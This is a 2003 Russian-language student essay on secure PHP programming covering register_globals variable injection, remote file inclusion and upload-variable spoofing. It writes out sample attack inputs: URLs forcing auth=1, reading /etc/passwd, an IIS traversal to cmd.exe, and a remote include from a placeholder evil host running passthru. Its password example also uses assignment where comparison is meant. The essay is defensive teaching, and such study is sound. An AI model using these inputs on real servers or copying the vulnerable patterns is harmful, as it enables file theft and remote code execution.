Безопасное программирование на PHP

Комаров Антон, студент 915 группы

15 апреля 2003 г.

Содержание

1 Введение.

PHP — Hypertext Preprocessor — это язык программирования, придуманный специально для Web, исходный текст которого помещается непосредственно на веб-страницах. Когда веб-приложение (например Internet Expoler) посылает запрос, веб-сервер сначала интерпретирует вложенный код и только затем уже отправляет результаты интерпретации обратно веб-приложению.

PHP обладает рядом преимуществ перед такими языками как Perl или C для создании веб-приложений, в частности этот язык интерпретируем, обладает высокой скоростью исполнения, достаточно разнообразным набором функций и, что самое главное, имеет простой синтаксис. Но за эту простоту приходится расплачиваться неоднозначным поведением интерпретатора в некоторых случаях, что может привести к проблемам с безопасностью.

Рассмотрим лишь только самый распространенные из них.

2 Виды уязвимостей.

2.1 Глобальные переменные.

Одна из особенностей синтаксиса — это то, что переменные в PHP не обязательно должны быть инициализированы, они инициализируются автоматически при первом их использовании.

Очевидно, что одна из главных функций языка PHP — это принимать данные от клиента (формы, файлы, cookies и т.д.), обрабатывать их и возвращать результаты обработки клиенту. Для того чтобы устроить как можно проще доступ PHP скрипта к данным, получаемых от клиента, заводятся так называемые глобальные переменные. Рассмотрим следующий пример HTML кода:

```
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
```

Очевидно, что на странице будет отображено текстовое поле и кнопка отправки данных на обработку PHP скрипту test.php. Когда он запуска-

ется, переменная $hello будет содержать данные, которые ввел пользователь. Важно заметить, что смысл в том, что предполагаемый взломщик может создавать какие угодно переменные и инициализировать их в глобальном пространстве переменных. Вместо использования формы приведенной выше, взломщик может вызвать этот test.php непосредственно указав переменные в URL: 'http://server/test.php?hello=hi&setup=no'. При этом не только переменная $hello будет равна 'hi', но скрипт также проинициализирует переменную $setup='no'.

Теперь рассмотрим в чем же собственно таится опасность такой работы с переменными. Проиллюстрируем это следующим примером:

```
<?php
  if ($pass = "hello")
   $auth = 1;
  ...
  if ($auth == 1)
  echo "some important information";
?>
```

В приведенном примере PHP скрипт проверяет правильность пароля пользователя и затем, если пользователь успешно был аутентифицирован, передает ему некоторую секретную информацию. Здесь уязвимость заключается в том, что программа предполагает, что переменная $auth была пустая до тех пор пока она сама же не присвоила ей значение. Таким образом, если взломщик сможет создать переменную $auth и сам же ей передаст значение равное единице, то URL вида 'http://server/test.php?auth=1 не будет проводить проверку пароля и успешно авторизует взломщика.

Подводя итог можно однозначно сказать, что PHP скрипт не может доверять ни одной переменной, если он явно сам ее не проинициализировал.

Одним общим подходом по защите от подобных атак является обычная проверка того, находится ли используемая переменная в массивах HTTP_GET/POST_VARS[] (в зависимости от используемого метода отправки данных).

2.2 Файлы на удаленной машине.

Язык PHP обладает большим количеством полезных свойств — огромным количеством функций для того, чтобы сделать жизнь программиста как можно проще и комфортнее. Однако с точки зрения безопастности, такой широкий выбор функций делает написание на нем безопасных программ трудным занятием. Рассмотрим один замечательный пример:

```
<?php
  if (!($fd = fopen("$filename", "r"))
   echo("Could not open file: $filename<BR>\n");
 ?>
```

Программа пытается открыть файл, имя которого определено в переменной $filename, для чтения, и если это не удается, она выдает ошибку. Очевидно что пользователь может присвоить $filename значение /etc/passwd и просмотреть этот файл, но еще совсем не тривиальное решение — заставить скрипт прочитать данные с другого web/ftp сайта.

Например можно присвоить $filename значение 'http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir' и тем самым заставить веб-сервер атаковать другой сервер с помощью приведенного URL.

Становится еще более интереснее если обратиться к функциям include(), require(), include_once() and require_once(). Указанные функции принимают в качестве аргумента имя файла, и потом этот файл интерпретируется как PHP скрипт. Обычно это используется для подключения соответствующих библиотек. Рассмотрим следующий пример:

```
<?php
  include($libdir . "/languages.php");
?>
```

В этом примере переменная окружения $libdir скорее всего указывает, где находятся вспомогательные файлы. Однако взломщику ничего не стоит изменить эту переменную (например рассмотренным в разделе 2 способом) на $libdir='http://<evilhost>/', и файл languages.php будет содержать уже совсем другой код, тот код, который необходим взломщику, скажем такой:

```
<?php
```

```
  passthru("/bin/ls /etc");
?>
```

тем самым взломщик исполнит свой код на удаленной машине и получит содержимое директории /etc.

2.3 Заливка файлов.

Еще одной уязвимостью языка является так называемая автоматическая заливка файлов на сервер с клиентских машин. Согласно RFC 1867 можно написать следующую форму:

```
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
```

Эта форма позволяет удаленному пользователю открыть файл на своем локальном диске и отправить его веб-серверу. Очевидно, что это очень полезная возможность, но ее реализация в PHP не совсем безопасна. Когда PHP скрипт получает запрос от клиента, то еще *до того как приступить* к обработке самого скрипта, он скачивает файл с удаленной машины, затем проверяет размер файла, чтобы он не превысил $MAX_FILE_SIZE (10kb в данном случае) и максимальный размер файла, прописанный в файле настройки PHP интерпретатора. Если все проверки пройдены, файл сохраняется в директории для временных файлов, и только потом уже начинается обработку кода.

Теперь давайте рассмотрим скрипт, который написан для того, чтобы принимать файлы с удаленных машин. Как уже было выше описано, PHP интерпретатор сохраняет его в директории для временных файлов. Затем PHP интерпретатору необходимы данные об этом файле, чтобы начать его обработку. Для этого есть два пути. Первый, еще известный со времен PHP3, и второй, более безопасный, введенный совсем недавно. Однако рассмотрим первый, он и по сей день довольно часто используется. PHP заводит глобальные переменные, для того чтобы описать залитый файл, например для нашего случая это выглядит так:

```
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
```

```
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
```

Однако значение переменной $hello по прежнему может быть подменено взломщиком, (например так: http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt) тем самым глобальные переменные примут значения:

```
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
```

Это заставит интерпретатор обрабатывать не файл, полученный с удаленной машины, а файл, который ему указал взломщик, тем самым получая доступ к файлам, которые содержат секретную информацию.

Существуют различные способы определить, какой файл был залит: самый простой — обратится к массиву переменных HTTP_POST_FILES[], либо воспользоваться функцией, которая позволит определить, действительно ли это тот файл, который был получен с удаленной машины.

3 Заключение

Богатые возможности языка PHP требуют от программиста предельной внимательности и осторожности при написании веб-приложений. И хотя в последних версиях PHP стараются прикрыть потенциальные бреши в безопастности в ущерб удобству программирования (например запрет по умолчанию глобальных переменных), программист всегда должен четко знать *все* возможные пути исполнения своего кода.

Список литературы

[1] Руководство по PHP, http://www.php.net/manual/ru/

[2] Exploiting Common Vulnerabilities in PHP Applications, http://www.securityfocus.com/archive/1/194488

[3] Secure Programming in PHP, http://www.cgisecurity.com/lib/php-secure-coding.html